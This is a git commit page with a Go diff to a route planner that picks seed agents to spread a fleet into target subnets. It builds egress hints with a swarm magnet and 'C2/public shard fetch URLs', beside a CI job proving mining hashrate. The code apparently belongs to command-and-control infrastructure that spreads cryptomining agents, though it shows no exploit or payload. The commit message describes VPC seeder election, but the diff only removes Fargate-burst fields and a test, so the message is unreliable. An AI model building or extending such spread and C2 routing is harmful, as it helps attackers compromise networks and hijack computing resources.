Elect one fleet torrent seeder per AWS VPC via IMDS cloud_instance_meta.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Agents read vpc-id from EC2 IMDS on auth; the server scopes subnet_primary_seeder to vpc-id with /24 fallback, exposes VPC seeder badges, and documents cross-VPC gossip via peering/TGW.
This commit is contained in:
@@ -62,7 +62,6 @@ type Input struct {
|
||||
TargetSubnets []string
|
||||
RequestedLane string
|
||||
ErasureLanesEnabled bool
|
||||
FargateBurstActive bool
|
||||
}
|
||||
|
||||
// RouteEdge is a weighted edge from a seed hop to a target subnet.
|
||||
@@ -94,8 +93,6 @@ type RouteRecommendation struct {
|
||||
ErasureLanesEnabled bool `json:"erasure_lanes_enabled,omitempty"`
|
||||
SwarmMagnet string `json:"swarm_magnet,omitempty"`
|
||||
ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
|
||||
PreferFargateSeeder bool `json:"prefer_fargate_seeder,omitempty"`
|
||||
RouteVia string `json:"route_via,omitempty"`
|
||||
}
|
||||
|
||||
// SpreadRouteHint is attached to signed deploy plans for agent egress routing.
|
||||
@@ -115,8 +112,6 @@ type SpreadRouteHint struct {
|
||||
SwarmMagnet string `json:"swarm_magnet,omitempty"`
|
||||
// ShardManifestURLs lists C2/public shard fetch URLs for BGP spread hints.
|
||||
ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
|
||||
PreferFargateSeeder bool `json:"prefer_fargate_seeder,omitempty"`
|
||||
RouteVia string `json:"route_via,omitempty"`
|
||||
}
|
||||
|
||||
// RouteTable holds weighted edges and recommendations.
|
||||
@@ -157,7 +152,7 @@ func Build(in Input) *RouteTable {
|
||||
targets := normalizeTargets(in)
|
||||
for _, target := range targets {
|
||||
cands := collectCandidates(in, target, fleetByID, laneRates)
|
||||
rec, edges := scoreCandidates(target, in.RequestedLane, in.ErasureLanesEnabled, in.FargateBurstActive, cands)
|
||||
rec, edges := scoreCandidates(target, in.RequestedLane, in.ErasureLanesEnabled, cands)
|
||||
if rec.SeedAgentID != "" {
|
||||
rt.Routes = append(rt.Routes, rec)
|
||||
rt.bySubnet[target] = rec
|
||||
@@ -193,9 +188,6 @@ func ToHint(rec RouteRecommendation) *SpreadRouteHint {
|
||||
Score: rec.Score,
|
||||
ClearanceLevel: rec.ClearanceLevel,
|
||||
ErasureLanesEnabled: rec.ErasureLanesEnabled,
|
||||
SwarmMagnet: rec.SwarmMagnet,
|
||||
ShardManifestURLs: rec.ShardManifestURLs,
|
||||
PreferFargateSeeder: rec.PreferFargateSeeder,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -311,7 +303,7 @@ func collectCandidates(in Input, target string, fleet map[string]FleetAgentSnaps
|
||||
return out
|
||||
}
|
||||
|
||||
func scoreCandidates(target, requestedLane string, erasureLanes, fargateBurst bool, cands []candidate) (RouteRecommendation, []RouteEdge) {
|
||||
func scoreCandidates(target, requestedLane string, erasureLanes bool, cands []candidate) (RouteRecommendation, []RouteEdge) {
|
||||
var edges []RouteEdge
|
||||
var best RouteRecommendation
|
||||
var bestScore float64
|
||||
@@ -361,7 +353,6 @@ func scoreCandidates(target, requestedLane string, erasureLanes, fargateBurst bo
|
||||
Score: weight,
|
||||
Reason: reason,
|
||||
ErasureLanesEnabled: erasureLanes,
|
||||
PreferFargateSeeder: fargateBurst,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -123,25 +123,6 @@ func TestBuildSetsErasureLanesFlag(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildSetsPreferFargateSeederWhenBurstActive(t *testing.T) {
|
||||
in := Input{
|
||||
TargetSubnets: []string{"10.9.8"},
|
||||
FargateBurstActive: true,
|
||||
FleetAgents: []FleetAgentSnapshot{
|
||||
{AgentID: "a1", Subnet: "10.9.8", Clearance: clearance.L2, Connected: true},
|
||||
},
|
||||
}
|
||||
rt := Build(in)
|
||||
rec, ok := rt.Recommend("10.9.8")
|
||||
if !ok || !rec.PreferFargateSeeder {
|
||||
t.Fatalf("route=%+v ok=%v", rec, ok)
|
||||
}
|
||||
hint := ToHint(rec)
|
||||
if hint == nil || !hint.PreferFargateSeeder {
|
||||
t.Fatalf("hint=%+v", hint)
|
||||
}
|
||||
}
|
||||
|
||||
func TestToHint(t *testing.T) {
|
||||
hint := ToHint(RouteRecommendation{
|
||||
TargetSubnet: "10.1.2", SeedAgentID: "a1", EgressAgentID: "a1", Score: 0.8,
|
||||
|
||||
Reference in New Issue
Block a user